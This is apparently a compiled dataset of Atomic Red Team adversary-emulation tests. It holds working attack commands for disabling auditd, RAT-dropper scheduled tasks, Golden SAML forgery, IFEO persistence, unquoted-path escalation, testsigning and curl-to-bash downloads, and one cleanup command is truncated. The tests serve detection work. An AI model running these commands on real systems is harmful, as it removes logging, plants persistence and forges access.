deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1564.006: Run Virtual Instance
Test: Create and start Hyper-V virtual machine
Platforms: windows
Executor: powershell

Description:
Create a simple Hyper-V VM (Windows native hypervisor) and start up the machine
Cleanup command stops and deletes the newly created VM
https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v
https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/
https://attack.mitre.org/techniques/T1564/006/


Command:
$VM = "#{vm_name}"
New-VM -Name $VM -Generation 2
Set-VMFirmware $VM -EnableSecureBoot Off
Start-VM $VM

Cleanup:
Stop-VM $VM -Force
Remove-VM $VM -Force

Dependencies:
Hyper-V must be enabled on the system
Checks whether Hyper-V is enabled. If not, enables Hyper-V and forces a required restart
Atomic Red Team — T1685.004: Disable or Modify Tools: Disable or Modify Linux Audit System Log
Test: Delete all auditd rules using auditctl
Platforms: linux
Executor: sh

Description:
Using 'auditctl -D' deletes all existing audit rules, resulting in the loss of previously configured monitoring settings and the audit trail. This action reduces visibility into system activities, potentially leading to compliance concerns and hampering security monitoring efforts. Additionally, it poses a risk of covering unauthorized activities by erasing evidence from audit logs.


Command:
auditctl -D


Cleanup:
service auditd restart


Dependencies:
Check if auditd is installed.
Atomic Red Team — T1685.004: Disable or Modify Tools: Disable or Modify Linux Audit System Log
Test: Disable auditd using auditctl
Platforms: linux
Executor: sh

Description:
The command `auditctl -e 0` disables the audit system. By setting the parameter to `0`, auditing is deactivated, halting the monitoring and recording of security-related events. This action stops the generation of audit logs, ceasing the collection of data regarding system activities. Disabling auditing may be done for various reasons, such as troubleshooting, performance optimization, or temporarily suspending auditing requirements, but it reduces visibility into system events and can impact security monitoring and compliance efforts.


Command:
auditctl -e 0


Cleanup:
auditctl -e 1


Dependencies:
Check if auditd is installed.
Atomic Red Team — T1195: Supply Chain Compromise
Test: Octopus Scanner Malware Open Source Supply Chain
Platforms: windows
Executor: command_prompt

Description:
This test simulates an adversary Octopus drop the RAT dropper ExplorerSync.db
[octopus-scanner-malware-open-source-supply-chain](https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/)
[the-supreme-backdoor-factory](https://www.dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/)


Command:
copy %temp%\ExplorerSync.db %temp%\..\Microsoft\ExplorerSync.db
schtasks /create /tn ExplorerSync /tr "javaw -jar %temp%\..\Microsoft\ExplorerSync.db" /sc MINUTE /f


Cleanup:
schtasks /delete /tn ExplorerSync /F 2>null
del %temp%\..\Microsoft\ExplorerSync.db 2>null
del %temp%\ExplorerSync.db 2>null


Dependencies:
ExplorerSync.db must exist on disk at specified location (#{rat_payload})
Atomic Red Team — T1606.002: Forge Web Credentials: SAML token
Test: Golden SAML
Platforms: azure-ad
Executor: powershell

Description:
Forge a "Golden SAML" token which allows to impersonate any Azure AD user, and authenticate to AADGraph (as a proof). 
You will need the ADFS token signing certificate (see T1552.004 to export it).
More info here : https://o365blog.com/post/adfs/


Command:
Import-Module AADInternals -Force
$saml = New-AADIntSAMLToken -ImmutableID "#{immutable_id}" -PfxFileName "#{certificate_path}" -Issuer "#{issuer_uri}"
$conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache
if ($conn) { Write-Host "`nSuccessfully connected as $($conn.User)" } else { Write-Host "`nThe connection failed" }
Write-Host "End of Golden SAML"


Dependencies:
AADInternals module must be installed.
Atomic Red Team — T1078.004: Valid Accounts: Cloud Accounts
Test: Creating GCP Service Account and Service Account Key
Platforms: google-workspace, iaas:gcp
Executor: sh

Description:
GCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.


Command:
gcloud config set project #{project-id}
gcloud iam service-accounts create #{service-account-name}
gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}


Cleanup:
gcloud iam service-accounts delete #{service-account-email} --quiet


Dependencies:
Requires gcloud

Check if user is logged in
Atomic Red Team — T1078.004: Valid Accounts: Cloud Accounts
Test: Azure Persistence Automation Runbook Created or Modified
Platforms: iaas:azure
Executor: powershell

Description:
Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure
Automation runbook to execute malicious code and maintain persistence in their target's environment.


Command:
New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name}


Cleanup:
Remove-AzAutomationRunbook -AutomationAccountName #{automation_account_name} -Name #{runbook_name} -ResourceGroupName #{resource_group} -Force
Remove-AzAutomationAccount -ResourceGroupName #{resource_group} -Name #{automation_account_name} -Force
Remove-AzResourceGroup -Name #{resource_group} -Force

Dependencies:
Check if terraform is installed.

Check if Azure CLI and Azure Powershell are installed.

* Login to Azure CLI with "az login", and login to Azure Powershell with "Connect-AzAccount". Sessions are not shared.
* Azure Powershell used in this test as they have better automation performance and error logging than Azure CLI.

Check if the user is logged into Azure.
Atomic Red Team — T1078.004: Valid Accounts: Cloud Accounts
Test: GCP - Create Custom IAM Role
Platforms: iaas:gcp
Executor: sh

Description:
This atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*. The idea for this Atomic came from a Rule published by the Elastic team.

Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). 
Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. 
Custom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized.

This atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*

Reference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml


Command:
gcloud config set project #{project-id}
gcloud iam roles create #{role-name} --description="#{role-description}" --permissions=#{roles} --project=#{project-id}


Cleanup:
gcloud iam roles delete #{role-name} --project=#{project-id}


Dependencies:
Requires gcloud

Check if user is logged in
Atomic Red Team — T1546.005: Event Triggered Execution: Trap
Test: Trap EXIT
Platforms: macos, linux
Executor: sh

Description:
Launch bash shell with command arg to create TRAP on EXIT.
The trap executes script that writes to /tmp/art-fish.txt


Command:
bash -c 'trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" EXIT'


Cleanup:
rm -f /tmp/art-fish.txt
Atomic Red Team — T1546.005: Event Triggered Execution: Trap
Test: Trap EXIT (freebsd)
Platforms: linux
Executor: sh

Description:
Launch bash shell with command arg to create TRAP on EXIT.
The trap executes script that writes to /tmp/art-fish.txt


Command:
bash -c 'trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" EXIT'


Cleanup:
rm -f /tmp/art-fish.txt


Dependencies:
Check if bash is installed.
Atomic Red Team — T1546.005: Event Triggered Execution: Trap
Test: Trap SIGINT
Platforms: macos, linux
Executor: sh

Description:
Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal.
The trap executes script that writes to /tmp/art-fish.txt


Command:
bash -c 'trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" SIGINT && kill -SIGINT $$'


Cleanup:
rm -f /tmp/art-fish.txt
Atomic Red Team — T1546.005: Event Triggered Execution: Trap
Test: Trap SIGINT (freebsd)
Platforms: linux
Executor: sh

Description:
Launch bash shell with command arg to create TRAP on SIGINT (CTRL+C), then send SIGINT signal.
The trap executes script that writes to /tmp/art-fish.txt


Command:
bash -c 'trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" SIGINT && kill -SIGINT $$'


Cleanup:
rm -f /tmp/art-fish.txt


Dependencies:
Check if bash is installed.
Atomic Red Team — T1546.012: Event Triggered Execution: Image File Execution Options Injection
Test: IFEO Add Debugger
Platforms: windows
Executor: command_prompt

Description:
Leverage Global Flags Settings


Command:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"


Cleanup:
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /f >nul 2>&1
Atomic Red Team — T1546.012: Event Triggered Execution: Image File Execution Options Injection
Test: IFEO Global Flags
Platforms: windows
Executor: command_prompt

Description:
Leverage Global Flags Settings


Command:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"


Cleanup:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\
Atomic Red Team — T1546.012: Event Triggered Execution: Image File Execution Options Injection
Test: GlobalFlags in Image File Execution Options
Platforms: windows
Executor: powershell

Description:
The following Atomic Test will create a GlobalFlag key under Image File Execution Options, also a SilentProcessExit Key with ReportingMode and MonitorProcess values. This test is similar to a recent CanaryToken that will generate an EventCode 3000 in the Application log when a command, whoami.exe for example, is executed.
Upon running Whoami.exe, a command shell will spawn and start calc.exe based on the MonitorProcess value. 
Upon successful execution, powershell will modify the registry and spawn calc.exe. An event 3000 will generate in the Application log.


Command:
$Name = "GlobalFlag"
$Value = "512"
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{process}"
New-Item -Path $registryPath -Force
New-ItemProperty -Path $registryPath -Name $Name -Value $Value -PropertyType DWord -Force
$Name = "ReportingMode"
$Value = "1"
$SilentProcessExit = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{process}"
New-Item -Path $SilentProcessExit -Force
New-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType DWord -Force 

$Name = "MonitorProcess"
$Value = "#{cmd_to_run}"
New-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType String -Force
Start-Process whoami.exe


Cleanup:
$SilentProcessExit = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{process}" 
Remove-Item $SilentProcessExit -force
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{process}"
Remove-Item $registryPath -force
# T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path

## Description from ATT&CK

> Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.
> 
> Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)
> 
> This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

[Source](https://attack.mitre.org/techniques/T1574/009)

## Atomic Tests

- [Atomic Test #1: Execution of program.exe as service with unquoted service path](#atomic-test-1-execution-of-programexe-as-service-with-unquoted-service-path)

### Atomic Test #1: Execution of program.exe as service with unquoted service path

When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability
known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe.

**Supported Platforms:** Windows

**auto_generated_guid:** `2770dea7-c50f-457b-84c4-c40a47460d9f`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| service_executable | Path of the executable used for the service and as the hijacked program.exe | path | PathToAtomicsFolder&#92;T1574.009&#92;bin&#92;WindowsServiceExample.exe|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
copy "#{service_executable}" "C:\Program Files\windows_service.exe"
copy "#{service_executable}" "C:\program.exe"
sc create "Example Service" binpath= "C:\Program Files\windows_service.exe" Displayname= "Example Service" start= auto
sc start "Example Service"
```

#### Cleanup Commands

```cmd
sc stop "Example Service" >nul 2>&1
sc delete "Example Service" >nul 2>&1
del "C:\Program Files\windows_service.exe" >nul 2>&1
del "C:\program.exe" >nul 2>&1
del "C:\Time.log" >nul 2>&1
```
Atomic Red Team — T1574.009: Hijack Execution Flow: Path Interception by Unquoted Path
Test: Execution of program.exe as service with unquoted service path
Platforms: windows
Executor: command_prompt

Description:
When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability
known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe.


Command:
copy "#{service_executable}" "C:\Program Files\windows_service.exe"
copy "#{service_executable}" "C:\program.exe"
sc create "Example Service" binpath= "C:\Program Files\windows_service.exe" Displayname= "Example Service" start= auto
sc start "Example Service"


Cleanup:
sc stop "Example Service" >nul 2>&1
sc delete "Example Service" >nul 2>&1
del "C:\Program Files\windows_service.exe" >nul 2>&1
del "C:\program.exe" >nul 2>&1
del "C:\Time.log" >nul 2>&1
Atomic Red Team — T1553.006: Subvert Trust Controls: Code Signing Policy Modification
Test: Code Signing Policy Modification
Platforms: windows
Executor: command_prompt

Description:
Allows adversaries to subvert trust controls by modifying the code signing policy, enabling the execution of unsigned drivers.

Command:
bcdedit /set testsigning on

Cleanup:
bcdedit /set testsigning off
Atomic Red Team — T1612: Build Image on Host
Test: Build Image On Host
Platforms: containers
Executor: sh

Description:
Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize Deploy Container using that custom image.

Command:
docker build -t t1612  $PathtoAtomicsFolder/T1612/src/
docker run --name t1612_container --rm -d -t t1612
docker exec t1612_container ./test.sh

Cleanup:
docker stop t1612_container
docker rmi -f t1612

Dependencies:
Verify docker is installed.
Verify docker service is running.
# T1612 - Build Image on Host

## Description from ATT&CK

> Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)
> 
> An adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.

[Source](https://attack.mitre.org/techniques/T1612)

## Atomic Tests

- [Atomic Test #1: Build Image On Host](#atomic-test-1-build-image-on-host)

### Atomic Test #1: Build Image On Host

Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize Deploy Container using that custom image.

**Supported Platforms:** Containers

**auto_generated_guid:** `2db30061-589d-409b-b125-7b473944f9b3`

#### Attack Commands: Run with `sh`!

```sh
docker build -t t1612  $PathtoAtomicsFolder/T1612/src/
docker run --name t1612_container --rm -d -t t1612
docker exec t1612_container ./test.sh
```

#### Cleanup Commands

```sh
docker stop t1612_container
docker rmi -f t1612
```

#### Dependencies: Run with `sh`!

##### Description: Verify docker is installed.

###### Check Prereq Commands

```sh
which docker
```

###### Get Prereq Commands

```sh
if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi
```

##### Description: Verify docker service is running.

###### Check Prereq Commands

```sh
sudo systemctl status docker  --no-pager
```

###### Get Prereq Commands

```sh
sudo systemctl start docker
```
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: Create and Execute Bash Shell Script
Platforms: linux, macos
Executor: sh

Description:
Creates and executes a simple sh script.


Command:
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}


Cleanup:
rm #{script_path}
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: Command-Line Interface
Platforms: linux, macos
Executor: sh

Description:
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.

Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.


Command:
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash


Cleanup:
rm /tmp/art-fish.txt
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: Harvest SUID executable files
Platforms: linux
Executor: sh

Description:
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges. 


Command:
chmod +x #{autosuid}
bash #{autosuid}


Cleanup:
rm -rf #{autosuid}


Dependencies:
AutoSUID must exist on disk at specified location (#{autosuid})
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: LinEnum tool execution
Platforms: linux
Executor: sh

Description:
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.


Command:
chmod +x #{linenum}
bash #{linenum}


Cleanup:
rm -rf #{linenum}


Dependencies:
LinnEnum must exist on disk at specified location (#{linenum})
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: New script file in the tmp directory
Platforms: linux
Executor: sh

Description:
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which results in the id command being executed.


Command:
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE


Cleanup:
rm $TMPFILE
unset TMPFILE
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: What shell is running
Platforms: linux
Executor: sh

Description:
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.


Command:
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: What shells are available
Platforms: linux
Executor: sh

Description:
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.


Command:
cat /etc/shells
Atomic Red Team — T1059.004: Command and Scripting Interpreter: Bash
Test: Command line scripts
Platforms: linux
Executor: sh

Description:
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!


Command:
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done